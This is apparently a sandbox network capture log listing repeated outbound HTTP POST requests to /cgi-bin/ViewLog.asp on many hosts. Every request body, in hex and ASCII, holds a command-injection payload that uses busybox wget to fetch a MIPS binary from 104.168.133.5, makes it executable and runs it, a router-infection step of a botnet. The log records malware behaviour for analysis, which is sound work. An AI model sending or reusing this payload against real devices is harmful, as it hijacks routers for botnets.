Nov 23, 2023 05:17:08.646506071 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	43374	31.200.28.163	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.981509924 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	39768	95.86.95.94	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:56.117611885 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	55506	31.136.116.88	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:57.168693066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:57.734565973 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:58.854556084 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:01.318552017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:05.926616907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:14.886557102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:33.830471039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:10.694426060 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	53836	94.73.64.53	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:57.178373098 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	60914	94.121.159.12	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:57.205569983 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	37806	95.86.68.70	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:57.219351053 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	59244	31.128.223.56	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:57.223378897 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:57.458456039 CET	523	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' Strict-Transport-Security: max-age=3600 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.13	59040	94.111.61.113	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:58.666161060 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:59.686569929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:00.870546103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:03.366556883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:08.230668068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:17.702491045 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:37.926457882 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:16.838498116 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	45070	94.121.146.126	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:58.725778103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	54772	31.136.181.156	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:58.849101067 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:59.430645943 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:00.550698996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
